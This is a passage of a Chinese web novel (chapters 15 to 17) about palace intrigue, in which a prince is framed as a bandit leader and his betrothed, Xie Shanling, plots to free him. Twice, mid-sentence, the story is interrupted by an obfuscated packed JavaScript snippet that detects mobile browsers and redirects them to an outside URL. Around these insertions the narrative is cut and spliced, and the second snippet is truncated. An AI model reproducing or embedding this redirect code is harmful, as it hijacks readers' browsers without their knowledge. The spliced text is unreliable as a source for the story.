皇帝又开始砸东西和咆哮的声音也传了出来:“顾裕帧你疯了吗?!” 屋内忽的静了下来,不多久,顾望笙的声音哽咽:“父皇要杀了儿臣吗?” 刚刚还在那儿一副铁骨铮铮绝不屈服的模样,突然就趴地上开始哭,皇帝一时都愣住了。 顾望笙捂脸嚎啕:“儿臣自幼无母,也不能得父皇怜惜,长在佛寺里无人亲近,受尽欺辱,只有善淩不曾嫌弃儿臣!后来儿臣又流落民间,遍尝苦楚,如今回到京城里只想与善淩好好儿过日子,竟也不能!” “你——” 顾望笙猛地高声嚎道:“母后!您二十五年前何不把儿臣一起带走呢?!母后!!为何独留儿臣在这世间受难?!母后您狠心啊!母后……若您还在,会让儿臣受潘家那样折辱吗?!” “你——” “父皇!”顾望笙抬起头来看着皇帝,双眼通红,字字泣血,“儿臣是您的嫡长子啊!” 你是市井泼汉!皇帝欲骂又止。 * 潘国梁在外跪了许久,直到屋内再无声息传出。又过了一阵,皇帝令人宣他进去。他进去时屋里顾望笙已不在,大概从另外的门离开了。屋内已被宫女太监收拾好。 潘国梁跪倒在地:“臣知陛下父子情深,也请陛下怜臣父子之情!成栋至今昏死未醒,御医还说,即便他醒了,将来都再不能人事,于子息无望……” 皇帝叹了一口气,道:“裕帧将来娶男妻,也不会有孩子,就当是……” “扯平”二字尚未出口,潘国梁悲怆叫道:“陛下!” 皇帝眉头皱了起来,忍耐着道:“刚刚你在外也听见了,大皇子自幼丧母,被国师批命,朕不得不将他送去圣林禅寺,没能养在身边教化,后来他又流落山野十多年,确实是粗俗莽撞,今日发生这事,朕也是对他极为头疼!” 话锋一转,沉声道,“可你难道要让朕把他杀了给你儿子赔罪吗?” 潘国梁俯首在地,紧紧咬住后槽牙,道:“臣不敢!可是大殿下竟至今也丝毫不认错……” “他没教养!”皇帝道,“朕都拿他没办法!” 可是一句“没教养”就这样放过他?!潘国梁手背青筋迸起,半晌,道:“此事因谢善淩而起,大殿下是天潢贵胄臣不敢怪罪,可谢善淩不是。” 皇帝看着他,都有点不耐烦了,忍耐着道:“若谢善淩也动手了,朕自然不会饶他,可他当时人都不在!” 潘国梁有意还要攀扯,皇帝摆摆手:“朕会好好安抚你家人,你如今还是先回去等着孩子醒来,其他都没那重要!” 你当然说不重要!潘国梁抬眼见着皇帝不悦模样,欲言又止,最终只能狠狠咬牙叩谢隆恩,然后起身不甘地离去。一路上,他已在心中将谢善淩千刀万剐! 15.第 15 章 那日悦来楼之事迅速传遍京师,街头巷尾都在热议。谢家自然也知道了。 谢家兄弟至今未分家,常常一起用膳,饭厅里长辈一桌小辈一桌,其乐融融,也不拘些食不言寝不语的规矩。 可今日桌上一片安静,只有偶尔食具轻碰的声音。大家都不知该说些什么好,总不好举杯庆贺,虽然很想这么干。 良久,谢二婶用不高不低的声音问:“这事儿善淩知道了吗?” 自打得病以来,谢善淩很少一起吃饭,总在离群索居,孤僻得很。私下妯娌说话,佘郡主还抹着泪说过谢善淩想与谢家脱离关系,以防来日拖累家族。 偏偏谢二婶嘴巴快,一转身就说给了婆母谢老太太听,谢老太太一转身就说给了谢老太师听,谢老太师一转身把谢大谢二和谢善淩都叫到面前狠狠地发了一通脾气,谢大谢二也对此事很是恼怒,谢善淩才打消这个念头。 此时谢二婶一问,她丈夫咳嗽一声:“别说话,吃饭。” 谢二婶道:“我都多久没见孩子笑了,让他高兴高兴……” “咳!吃饭!”谢二伯说着,声音放到很低,道,“小辈都还在,成何体统。” 就算再乐呵也先忍忍!别给小辈留下轻狂印象。 谢二婶立刻端庄起来,正要继续吃饭,突然传来急促的脚步声,众人循声看向来人,谢二叔刚说完妻现在又要说子:“怎么了?慌慌张张的。” 来者身形挺拔,眉眼坚毅,正是谢二叔的长子,也是这一辈的老大,谢老太师的长孙,名叫谢善鸣,年岁最长,现在京军营中任职,平素很是稳重。 谢二婶也开口:“不是说这几日忙于操练不回来吗?” 谢善鸣走到厅中朝各位长辈行礼,看了眼另一桌的弟弟妹妹们,目光投回亲爹脸上。亲爹会意,让其他小辈先离开。 待人都走后,谢善鸣不待催促便迫不及待地说:“刚刚大皇子殿下被三皇子带人抓走了,说他是白龙匪军的头目。” 此言一出,众人皆惊! 白龙匪军近年声势浩大,就连深院妇人也听说过。可……可大皇子怎么会和那扯上关系?! 谢善鸣没有给他们太多时间思索,接着说:“大殿下早有预料,他急着来找我,让我催促大伯与爹……最好是祖父,在事发后以此为由求皇上解除他与淩弟的婚约,撇清干系,不会连累谢府。” 谢大伯急道:“难道他真是——” 谢善鸣摇头:“他之所以有所预料,是因为他前日得罪了潘家,自知会被报复。而潘家会使出如何的手段构陷,前车之鉴犹在眼前,倒是不难想象。” 说到这里,他的语气中不自觉含了冰冷怒气。 大殿下所言一点不虚,潘家存心报复,当日能构陷谢善淩里通豲戎,如今便能构陷大殿下是匪军头目。 饭厅里陷入短暂的寂静,众人不自觉看向一直没有说话的谢老太师。谢老太师垂眸望着面前的八宝鸡,又过了会儿,缓缓开口道:“他都这么说了,照着办。” 谢二伯却犹豫道:“可是爹,都知道他是为了善淩才去打潘成栋,因而才得罪潘家有此下场,我们此时落井下石岂不是要背负忘恩负义的名声?!” 谢老太师看了他一会儿,忽的摇了摇头,视线移到大儿子脸上思考一阵,也摇了摇头,再看看大孙子,还是摇头。 众人不明白他的意思,面面相觑,谢二伯最按捺不住,问:“爹……” 他话刚出口就被谢老太师打断。老太师道:“你去吧。” 被公爹看着的佘郡主一怔,旋即反应过来,道:“是。” * 佘郡主当天下午就递牌子进宫了。 虽然如今她母家落魄了,到底祖上显赫过,乃是开国元勋,太祖的拜把子兄弟。何况她丈夫为民而死,她守寡多年,侍奉公婆,与妯娌和睦,颇有美名,皇帝愿意给她面子。 佘郡主一见着皇帝,皇帝刚要开口寒暄两句,就见她往地上一跪开始哭自己命苦,怎么二十三年前谢三就没带着自己一起走呢,否则自己哪用得着受这些苦…… 皇帝:“……” 这阵仗可真是非常极为很是眼熟啊!! 皇帝当即没了寒暄的心思,暗暗翻着白眼等她哭完说话。 良久,佘郡主消停许多,用手帕抹抹泪,哽咽道:“当年那事也就罢了,毕竟是善淩不该那么犟。我如今只希望他好好儿地活着……” 皇帝瞥她一眼,道:“朕明白你的意思。放心吧,朕心里有数,无论结果如何,都不会牵连谢家。” 佘郡主道:“还请陛下立刻解除善淩与大殿下的婚约,否则谢家上下都不得心安。陛下最知道谢家上下除了善淩这个讨债鬼,其他人有多安分守己,谨小慎微。今日之事实在是令人寝食难安,公爹他老人家听闻消息几欲昏厥。” 皇帝皱眉道:“如今还没结论就急吼吼地解除婚事,让旁人知道了,怎么看待谢家?” 佘郡主悲痛道:“顾不上了,陛下!甘蔗哪有两头甜?” 皇帝欲言又止,最终长叹一声气,摆摆手允了。总之是谢府自找的。 * 佘郡主带着解除婚约的旨意回了府,谢二婶马不停蹄带着这消息出了府,她抹着眼泪到处向贵妇人们诉苦和澄清:谢府并非有意忘恩负义,实在是怕了某府!你们也要体谅我们,可千~万~别到处去瞎说啊!我们也是不得已! 当天还未入夜,京城的达官显贵家已经都知道了整件事的“来龙去脉”。 ——当年之事给谢善淩留下了严重的创伤,近日他遭受刺激,旧病发作,几欲死去,大皇子冲冠一怒为蓝颜,将潘成栋打成重伤,得罪了潘家。 皇上碍于失散多年终于复得的父子亲情,又念在大皇子是已故元配皇后唯一的血脉,不忍心严加惩戒。潘家气急,竟故态复萌,如同当年陷害谢善淩一般捏造罪名陷害大皇子! 大皇子是不是与白龙匪军勾结,这大家着实不清楚。听起来固然荒谬,可他流落民间十多年,听说还失过忆,若真是,那也说得通。 可谢善淩是不是真的勾结豲戎,这大家难道会不清楚吗?有些事儿不便摆到台面上说,老百姓是不知道的,可在朝为官的哪会一点风声听不到? 之所以谢善淩一再惹是生非却仍旧在潘案之前一路高升,不是因为他祖父是谁他爹是谁,而是因为他在舞象之年,还未得功名官职的时候,便已立下奇功,将混入京城的豲戎探子顺藤摸瓜大清洗了一遍。 外界所说他和最受豲戎王器重的豲戎三王子将灵来往过密?那确实是来往过密。不来往过密虚与委蛇他怎么顺藤摸瓜? 那将灵当年扮作中原人,率领两百豲戎奸细深入京城,苦心谋划多年,别说大小官员的家宅中,就连皇宫大内都被他们埋了眼线。若没有及时揪出,后果不堪设想。 至于后来私奔……是不是有私情那说不清,奔是确实奔了,可跟着四皇子追去边塞的轻骑有三十人,人人皆是贵族子弟,回家都斩钉截铁地说他们赶到的时候谢善淩已经亲手了杀死将灵。 他们验过尸体,确是将灵没错。也不是做戏,那柄利剑自将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781312|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵左胸穿透,恐怕没人能如此还不死,除非那将灵是个妖怪。 谢善淩还坚持将尸体焚烧,生怕他死不透。 四皇子将谢善淩带回京城后,谢善淩先是被三司秘密会审,接着被东厂接去审,审来审去,结果一致:谢善淩从一开始就是为了诓杀将灵,仅此而已。 谢老太师的孙子以身入局,和敌国王子关系暧昧,堪称一出美人计,实在是有失体面。 更何况,此事都怕细说,因为细说起来许多被将灵手下渗透的家族可就要大难临头了。 总而言之,这件事从哪方面说都实在不光彩,因而都默契地闭口不谈,便不为百姓所知了。 可不谈归不谈,大家心中都有数。明明潘家也知道,后来却拿此事做文章构陷谢善淩,煽动民情,满朝都为之侧目,却斟酌轻重并没有人仗义执言。 如今潘家又来这一招,大家的记忆纷纷复苏,不由得感慨万千,看待谢家的眼神岂止一个同情了得。 关于大皇子是否白龙匪军一事完全不再是谜案:这就是假的,说破天了也是潘家捏造的。什么证人,都是潘家买通的。 舆情如此,本就也第一反应这么怀疑的皇帝听旁人亦是这样想,更加坚定自己的推测,对潘家也是有些忍无可忍了。 他可以忍受潘家报复谢善淩而拱起那些事,却不能忍受他们报复顾妄笙。不是因为父子真情,而是因为顾妄笙是他的嫡子,潘家这么做,是蔑视皇权。 * 潘国梁很快也察觉到了事态不妙,他既是疑惑又是震惊,急忙询问是谁做这种蠢事! 他固然也心疼儿子,甚至恨不得将顾望笙千刀万剐,可理智告诉他顾望笙不是谢善淩,他只能忍。然而谁一时冲动干这糊涂事?! 可他问了一圈,没有一个人承认。 呵呵,事到如今,闯下这滔天大祸,当然不敢承认了! 他最终将狐疑的眼光投向自己的妻子与小舅子。可这两人无论他如何叱骂都依旧否认。 小舅子被迫跪在地上流着泪道:“姐夫,就算我真蠢到这个地步,可我怎么能串通上三皇子替我办事啊?!我也就能买通底下人啊!三皇子认识我??” 潘国梁冷笑道:“倒不需要他认识你,太子之争愈演愈烈,大皇子自然是他眼中刺肉中钉,你们岂不一拍即合?” 小舅子张了张嘴,想反驳,却发现他说得极有道理,若非当事人是自己,自己也得信! 潘夫人长叹一声气,道:“大皇子都要娶男妻了,他还怎么和三皇子争夺太子之位?三皇子根本无需这么做。” “他只是娶男妻,又不是死了,这有什么要紧?”潘国梁道。 潘夫人一时之间也无话可说了。 * 三皇子被皇帝叫去狠狠地骂了一通,骂他蠢得被潘家当枪使了! 三皇子满脑袋雾水:“不是啊父皇,此事跟潘家着实无关啊!顾望笙他真的是白龙匪军的人!那个叛徒……啊不,那个涂蟠,他是从白龙匪军里逃出来,然后——” 皇帝打断他的话:“那你细说说涂蟠是怎么从叛军里逃出来然后找上你的。” 三皇子欲言又止,沉吟许久,讪讪道:“……忘了。” 其实不是忘了,而是压根没细问。那叛徒最初是去找的老二,然后老二将此事告诉了母妃,母妃做主让他来领这个功。 父皇苦白龙匪军久矣,若知道他得了一个对匪军知之甚多的人,岂不龙颜大悦? 孰料竟莫名起了这等波澜!潘家有病吧这关潘家什么事?! 16.第 16 章 谢善淩一连清静了好些天,家里人都不找他,顾望笙也没来骚扰。不过他知道,清静的只有自己住的这方小院。 出了小院的门,谢府其他地方都在张灯结彩地准备自己和顾望笙的婚礼。某一日他振作起来,想去给祖父祖母请安,刚踏出小院门就见着对面挂着的大红灯笼和绸缎,当即扭头原路返回。晚一天面对那现实算一天。 后来他思来想去,没想通,但或许也算是想通了。总之就这么着吧。 成亲之后不过是换个庭院屋子待着,到时候依旧深居简出,除了风景不同,和在清静峰上差别不大。就这样,人生不过短短几十年,须臾而已。而且照眼前局势来说指不定活不了那么久就得死。 今日阳光明媚,谢善淩在屋里坐着,望着外头的日光,忽然觉得这屋子里有些潮,便出去端了把小厮用的小板凳寻了个墙角坐着,忽然听到隔墙传来一阵喧闹,很快王管事喝止住,让别吵着了小少爷。 小少爷心无波澜,继续晒太阳等死。 却不料,王管家离去后,小厮站在墙角下边做事边聊了起来,一墙之隔谢善淩听得清清楚楚。 “小少爷还在屋里躺着呢?” “差不离。我昨日给他送饭去的时候,他就在床上看书,我去收碗的时候他吃完又回床上了。” “这病倒好,整天在床上闲着不下地。” “说什么鬼话!你若觉得好,你去得!” “我就顺嘴一说,你别激动。” “若让别人听见了,你挨一顿打我都不帮你……唉,说要成亲,又不成了,这都要拆。多可惜啊,这多好的东西。” “又不是花你钱买的,你倒心疼上了。” “你懂什么!我是心疼小少爷!多好的人啊,受这苦。那……”有所忌惮,只敢含糊带过,“……家真是太欺负人了。简直就是追着小少爷害。好不容易要成亲了,害少爷不成,把姑爷害了,逼得郡主去退亲,还落咱们谢府一个歪把子的不义名声。” “什么歪把子!那叫……叫什么……什么转舵……哎呀,总之,我觉得原本是和男人成亲就挺那什么的,不成了也好。哎你把墙上那缎子扒拉下来。” 谢善淩仰着脸,看着墙头上鲜红的缎子一点一点消失。这是这些时日以来给他小院唯一布置的喜色。这边偏僻,可能是想着他平日不来这,见不着。 那边两个小厮还在聊。 “你说姑爷、咳,大殿下,若真是匪军,会不会蹲大牢?” “什么匪军!你没听人说啊?都是……家诬陷的,就像当初诬陷小少爷一样!不过是因为姑爷心疼小少爷发病,跑去把……打成了太监,他们家为报复,串通了三皇子,找人谎称匪军指认姑爷。” 两人正议论唏嘘着,来了第三个小厮,压低声音叱喝道:“你俩作死啊?大老爷二老爷千叮咛万嘱咐别说这些,万一叫小少爷听见了怎么办!” “好好的亲到时候又不用成了,他不早晚得知道吗……” “这不还在想理由吗?到时说大殿下又流落民间了也比现在这让他知道了强。” 已经全都知道了的小少爷:“……。” * 事不宜迟,谢善淩待小厮离开后,立刻回屋整理着装出门。 他穿过庭院,忽的听见亭子里传来女眷说话声,下意识看过去,是几位堂姊妹。 她们听到动静也看了过来,目光一接,谢善淩只得过去跟她们问好打招呼。 众堂姊妹纷纷起身,看着站在亭外的谢善淩,关切地问候了几句。 谢善淩一一回过,正要告辞,堂姐谢婉青道:“难得见你出来,正好,婉柔绣了一尊观音想送给你,她却扭捏,不敢去找你,怕你不要。” 谢婉柔是谢二伯的小女儿,今年双八年华,人如其名温婉柔美。她平素不爱说话,见人只是腼腆地笑。此刻被亲姐姐拉到谢善淩面前,脸都羞红了。 “呆站着干什么,拿给他啊!”谢婉青催促道。 前段日子谢家女眷聚在一起为谢善淩赶制成亲的绣品,完成的还有许多,但都是些鸳鸯啊合欢花之类一看就知用途的模样,如今被父母耳提面命,自然都当不存在。 唯独当时谢婉柔还绣了一幅观音图,原意是讨平安兆头,这会儿是唯一能给谢善淩的。谢婉青寻思着反正这亲是不成了,趁这机会送了得了,不然白费了谢婉柔的心思。 今日众姊妹聚在一起是为了钻研女红,谢婉柔手艺最好,每每会自觉带上作品给她们观赏学习。今日正好她带来了自己近期的得意之作,正是那副观音绣品。 谢善淩急忙双手碰过来绣品,连连道谢,仔细观摩。 看完,他笑着望向谢婉柔:“婉柔妹妹的女红手艺真是好。” 虽然不是谢婉青绣的,但她颇为得意,顺着话头给谢善淩细说谢婉柔独特的针脚功夫,以及在画图样子上独具一格的造诣。 谢善淩听她越讲越起劲,欲言又止。其他姊妹注意到了,笑着打断谢婉青:“你就顾自己说,善淩好像有事儿呢。” 谢善淩急忙告罪,接着话音一转,道:“是有些事。” 谢婉青当即警惕:“何事?” 这小子瞧着温文尔雅的模样,尽干些石破天惊的事儿。 谢婉青是这一辈的大姐姐,早已嫁人生子,但婆家与谢家相隔不过数百步,她婆家后院亦和谐,孩子乖巧,长大读书去了,她闲着无事就回娘家玩,顺便管教弟妹。 谢善淩知她爱管事儿的脾性,怕她阻拦自己,便说谎道:“去找祖父问安,另外还有些事儿想请问他。” 找祖父?那没问题。谢婉青便不再问了,道:“既如此,你去吧。婉柔这观音像还需整理下,稍后让人送去你院里。” 谢善淩点头,再度向谢婉柔谢过后,这才离去。 他先去了京城最大的酒楼悦来楼。 当然,这回他记得遮掩,戴上了锥帽,薄薄的白纱挡着面。高是高了些,可身形瘦削,路人见了便当他是哪家出来闲逛的小姐,习以为常,并不多看。 恰好顾望笙就是在悦来楼打的潘成栋,如此大的新闻,自然人人热议。谢善淩在角落里喝完了一壶茶,整件事究竟是如何的经过,他已心中有数。 甚至包括一些隐藏在细节中、说的人都没察觉到的真相,谢善淩也已有所揣测。 他在桌面放下钱银,起身直奔二皇子府。 二皇子倒没拿乔作态,下人刚奉上茶,他就现身了。 谢善淩以往和四皇子走得近,四皇子与三皇子有皇储之争,两边水火不容,二皇子与三皇子是一母同胞的亲兄弟,自然与四皇子也是两立。 按理说谢善淩与他应是关系紧张,可其实不然。两人素来关系确实不亲近,可也不算差。 当年虽是二皇子带人撞开大牢救走潘成栋,却只是奉皇命而为,在四皇子赶来救走谢善淩之前,令兵士拦住群情激奋的民众为谢善淩开出一条路的也是他。 谢善淩端着热茶正要喝,余光瞥见,放下了茶盏,起身看过去正要问礼,微微一怔,随即道:“打扰了。” 二皇子似是刚刚沐浴过,衣着虽整齐,却散着尚还湿润的长发。 “不必客气。”二皇子淡淡道,“我知你为何事而来,但此事不由我办,你找错了人。” 谢善淩朝他笑道:“二殿下何故与我也说这疏远的话。”他看着二皇子的眼神锐利,却没有恶意,轻轻道,“三皇子也不是第一次抢二殿下的功劳了。” 二皇子一笑,脸越发显得冷艳:“挑拨离间?” “不,”谢善淩道,“我对殿下们之间的争权夺利没有任何兴趣,只是想救我的未婚夫君,他虽莽撞,到底是一片赤诚为我才得罪了潘家,我须得救他。” 二皇子道:“你们不是已经解除婚约了吗?” “此事是家人瞒着我所为,我并未同意。”谢善淩摆出一副真情而倔强的模样,“他当日求娶是求的我,答应的也是我,因而这桩婚事若要取消,也只能我说了才算。” 二皇子沉默许久,道:“我不瞒你,此事与潘家无关。那个匪军的叛徒是真的,他说我那大皇兄是匪军头子,这话也是真的。你最好听从你家人的话,老老实实和他解除婚约。” 谢善淩神情顿时一变,皱眉看着二皇子,似乎在质疑他此话真假,但很快便摇了摇头:“我不信。” 他话音刚落,二皇子便厉声道:“我不管你信不信,若不想谢家沾染是非,就自行斟酌!” “二殿下或许不知我与大殿下的婚约一事,当年若非大殿下……” 谢善淩话未说完,就被二皇子粗暴地打断:“此事外人不知,我却知道!可这又如何?当年之事是当年,我只知如今你若要保全谢家,就要和他断干净。谢家向来不偏不倚,你祖父是清流魁首,父皇待他敬重,将来无论谁登基称帝,谢家都仍会得到善待。谢善淩,我若是你,便立刻与顾望笙断绝干系。” 谢善淩还要再说,二皇子冷冷道:“我言尽于此,你请回吧。” 说罢二皇子转身便要离去,谢善淩情急之下上前几步拽住他衣袖:“可是——” 许是刚刚更衣匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他行走于东厂,对达官显贵家的后院家私了若指掌。谢婉柔容貌柔美,性情温婉,是许多人家心目中的佳媳人选。最近她父母终于舍得小女儿了,有择婿的风声传出,不少京中贵妇人已经开始活络起来。 他与她……已有数月未曾见面。 其实两人原本就不该见面,只恨自己自私,欺她天真,一再哄着她。什么研讨佛法,大概也只有她会信他这样的人信佛。 第一次相见,是她陪着谢老夫人去礼佛的途中遇到了流匪,他恰好路过,顺手救了一把,怀中掉出本佛经被她瞧见了。她却不知道这本所谓的佛经其实是一本乱党名册,密密麻麻写着的都是要被他抓去东厂严刑逼供的人。 最后一次相见,她向来腼腆慢热却也急躁起来,告诉他父母要为她择婿定亲了。 他知道她想听到什么回应,可他没有给,沉默许久之后,隔着薄薄的竹帘,视线避开她快要哭出来的模样,低声道:“我早已知晓此事,今日相见便是为了告诉你,既如此,日后不便再见。若那人不好,我会想法子提点你父母,若好……你就安心嫁他,我自会关照他的前途。” 半晌,柔夷抚上竹帘一端,她想掀开这东西。可是他眼疾手快地立刻按住了另一端阻止她。 “……何必相见。”他隔着竹帘看着她,如此说道。 她的声音里带着哭腔质问:“既已相见,你为何还说何必相见?” “……因为本就不该相见。”他说。 “你真要我嫁给他人?”她颤抖着嗓音问。 他转身走到门口,略停了下,扔下一个“是”字便开门出去了。 但他没有离开。她与他私会自是不带护卫,他怕有意外,每次都是在暗中护送她来,回程亲眼看着她进了谢府门才放心。只是这些她并不知晓。也不知以她那胆小的性情如何敢一次又一次地冒这些险。 他站在屋外听着她难过的低泣。 终于,她哭够了,整理好出来,他已躲好,如同以往的每一次一样在身后为她保驾。但这会是最后一次,他想。 …… 她与谢善淩一样,也只当他是为了不拉她与谢家蹚入浑水因而不敢求娶。这固然亦是原由,可还有一件事他们都不知道。 生而残缺之人,如何敢奢想那些。 她会嫁给一个英朗少年郎,儿孙满堂,幸福美满,受人尊重。而他,不过是阳光下的阴影,一条背负满身孽债的走狗。 17.第 17 章 三皇子顾裕珩正在自己的皇子府中白日宣淫,忽有下人来报,说谢善淩求见。 “呵!为了顾望笙吧!”顾裕珩提着酒壶继续往怀中美妾嘴里灌,道,“不见!” 烦都要烦死了!挨了父皇一顿骂,非说顾望笙是被潘家诬陷,他争辩几句,父皇就转而怀疑他和潘家串通来糊弄视听,越发的大发雷霆。 父皇向来疼爱他,何曾朝他这样发火?何况被潘家蒙蔽和勾结潘家,孰轻孰重他还是能分清的。他当时怕极了,只好支支吾吾承认自己其实确实是被潘家给骗给利用了! 父皇这才略略消气,道:“这才正常,你就是有这么蠢。” 他:“……” 老二和老四就不说了,他觉得自己和老大相比还是聪明多了的!可眼下老大还被关着,他不敢在父皇面前提起,生怕又惹龙颜大怒。 憋气的他回来就拉小妾逗乐散心,这才勉强好了一些,谢善淩就找上门了。平时八竿子打不着的人,想也知道为了什么,他才不要见! 下人却露出欲言又止的模样。顾裕珩皱了皱眉头,将美妾推出去,示意下人过来说。 下人急忙上前附耳道:“他说刚从二皇子那出来,有极要紧的秘密告诉殿下。听他那话里话外的意思,好像是拿住了二殿下的把柄。” 顾裕珩一听来了兴致,让下人先去上茶,自己很快就过去。 谢善淩手里端着茶似模似样地吹着,一口也不真喝。见着顾裕珩来,他立刻放下茶盏起身叫道:“三殿下。” 顾裕珩摆摆手去上位坐下,端起架子冷淡道:“听说你有事找本殿下?” 谢善淩开门见山:“殿下明察,我为大殿下一事而来。” 顾裕珩斜着眼睛上下打量他,一时间忘了架子,好笑又好奇道:“你还真要嫁给他啊?为他求情啊?” 以往谢善淩对他说不上失敬,见面礼节周全,但绝无这么谄媚。 谢善淩垂眸:“我幼年多亏大殿下婚约方平安度过,理应报答。何况大殿下流落民间多年,如今回来不过是想做一闲散王爷,无心权势,实在没有必要将他卷入争斗之中。” 顾裕珩嗤笑一声,对他这天真言辞不置可否,只道:“你若没别的要说的就回去吧,本殿下帮不了你。” 谢善淩抬眼看他:“三殿下若要这样,就中二殿下的计了。” 顾裕珩蹙眉:“你说什么?” 谢善淩道:“那名匪军叛徒是二殿下所得,却被三殿下抢走冒认功劳,殿下回答我是或者不是?” “嘿你!”顾裕珩拍案而起,“你是来寻衅本殿下的吗?!” 谢善淩提高音量:“三殿下不是第一回如此行事了,难道二殿下不会心存怨恨吗?” “老子就算不是第一回……”顾裕珩猛地收住,想了想,笑起来,靠回太师椅上翘起二郎腿,“那又如何?他怨恨又能怎么样?” 他自幼便知母妃不喜顾裕骐。母妃总说将来皇位是自己的,顾裕骐只能辅佐自己。而顾裕骐这些年也确实是这么做的。 顾裕珩没看出自己这二哥有怨恨的态度,他对谁都一视同仁地摆出要死不活的样儿。 再者说,就算他真的心中怨恨,又能怎么样?父皇也知他畸形,他若不辅佐自己也绝不会成为太子。难道他能从水火不容的老四那儿得到好处?他只能牢牢地依附自己。 谢善淩看这肥头猪脑的表情便知他在想什么:“我不知为何贵妃娘娘不喜二殿下,但若三殿下因此觉得二殿下不能夺位便只能依附与你,就错了。不是所有人都会权衡利弊只取其利,有的人就是愿意玉石俱焚。” 顾裕珩大笑:“这世上哪会有这种蠢人哈哈,你给本殿下找一个出来!” “我不就是?”谢善淩一刻也没耽误地回答。 笑声戛然而止,顾裕珩看着他,想要反驳,无从反驳。这实在是一个板上钉钉的例子。 想来想去,顾裕珩嘴角抽抽:“行吧,本殿下再给你一次机会。你说,二皇子他要如何和本殿下玉石俱焚?” 谢善淩垂眸道:“恕我斗胆揣测,为此事,殿下已经被陛下训斥过了。” 顾裕珩尴尬地别开眼,没接话。 “都在传言此事是潘家蓄意报复,构陷大殿下。”谢善淩道,“我想这传言是真的。” 顾裕珩呵呵道:“这事儿别人糊涂,我却清楚,还真不是潘家陷害。人是我从老二手上抢来的,不是潘家……” 谢善淩打断他的话,以咄咄逼人的气势道:“殿下何时知晓二殿下手上有这人,而大殿下殴打潘成栋与潘家结仇又是何时?哪个先哪个后?殿下细想!” 顾裕珩下意识还要反驳他,猛地一愣,细思下来着实……可疑啊! 谢善淩看着他狐疑起来的神情变化,知道自己赌赢了。 其实很简单,以三皇子为人,他一旦知道叛徒之事肯定会马不停蹄就去二皇子手上抢功,一般来说不会出现时间上的太大出入。 顾裕珩思来想去,看向谢善淩:“你细说说!本殿下暂且听听!” 谢善淩淡淡道:“我的意思很简单,或许那个叛徒真是匪军之人,可关于他说大殿下是匪军头目一事,就是潘成栋被打后才有的罪名了。” 看顾裕珩还一副没转过弯来的样子,谢善淩只好说得更简单一些:“也就是说,二殿下被潘家收买构陷大殿下,可是二殿下自知此事经不起推敲。三殿下深得陛下喜爱,不也因此事栽了跟头被陛下斥责吗?若二殿下因此触犯龙颜,又会如何呢?” “因此二殿下急于抛开这个烫手的山芋,便想到了三殿下的头上。”谢善淩道,“否则以他谨慎的作风,怎会看不透局势与今日的结果?可他有提点过三殿下小心吗?若没有,他就是故意不说。” 顾裕珩细细思忖,恍然大悟!勃然大怒! “好他个顾裕骐!竟敢给我挖坑?!”顾裕骐拍案吼道。他喘了一阵粗气,瞪向谢善淩:“你找我是为了救顾望笙,说不定这都是你瞎编的呢?” 自己深居简出这些时日,三皇子的脑子竟长了点出来,谢善淩微微诧异,但依旧不动声色,只道:“我有几个脑袋敢维护匪军头目?大殿下又是脑子里进了多少水,既是匪军头目,返京也就罢了,能勉强说他是卧底做探子,可谁家探子不是尽量低调行事?尽量博取陛下的喜爱?他却一回来就纠缠着要娶我一个满身是非的男妻,恐怕陛下为此几度动怒过吧?” 此事顾裕珩知道,父皇确实很讨厌谢善淩,也确实为了顾望笙非要娶谢善淩一事很不高兴。 何况谢善淩接下来还说了一句话:“三殿下信我就好,我当年连根铲除豲戎深入京师的两百多个奸细,这世间还有谁比我更了解此道吗?” 这……也确实!!顾裕珩心中已被他说服了七、八分!想了想,板着脸问:“姑且再听你说说,那你觉得此事能怎么解决?如今那叛徒坚称老大是匪军,就这么放了恐怕也说不过去吧!” 皇帝正是也卡在了这里,他心中已全然认为此事是潘家栽赃,可又不能摆到明面上来打潘家的脸,偏偏匪军一事事关重大,他也不好强行放了顾望笙。而让他将错就错吧,那就太有损他的威严了。 谢善淩道:“抓大殿下无非就是因那叛徒的一句话,只要那叛徒承认自己是构陷就能解决了。” 顾裕珩翻了个白眼:“这还要你说?现在不就是他咬死了顾望笙是匪军嘛!我还纳闷呢,问他是有什么仇,他说得跟真的似的,说在叛军中时他犯了些错处被顾望笙逮着,要将他处死,好在他同乡不忍,偷偷放走了他……” “恐怕是潘家许以利益编的。”谢善淩道。 顾裕珩点头:“现在看来确实如此!可那叛徒嘴很硬,就是不肯反口……” 谢善淩看着他,轻飘飘道:“死鸭子的嘴是硬的,死人的嘴却不然。” 顾裕珩迟疑:“就这么杀了他?可他真是匪军……”这也是皇帝一直举棋不定的原因。“父皇肯定不会饶了我。”他喃喃道。 “倘若人不是殿下杀的,为何陛下要责怪殿下?”谢善淩道,“若是潘家见势不对,害怕实情暴露而杀人灭口的,就眼下舆论,谁也不会质疑。” 顾裕珩觉得有理,却又转而指着谢善淩道:“在这儿等着我呢!你想栽赃潘家,拿本殿下当枪使?” 谢善淩冷漠道:“当初潘家毁我,如今构陷我未婚夫君,我与他们是不死不休之局。今日我确实是为自己出一口气,可是却也为殿下解了燃眉之急,两全其美有何不可?” 顾裕珩想想这确实没什么不可,不如说,这样他心里反倒稳妥多了。不知不觉间,他对涂蟠确实是潘家利用来陷害顾望笙一事也深信不疑了。 更何况……他暗暗打量着谢 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可是不到两个时辰,顾望笙折返而来,又趴地上哭:“父皇,儿臣和善淩的婚事怎么没了啊?!” 皇帝不想理他,假装没听见,低头看奏章。 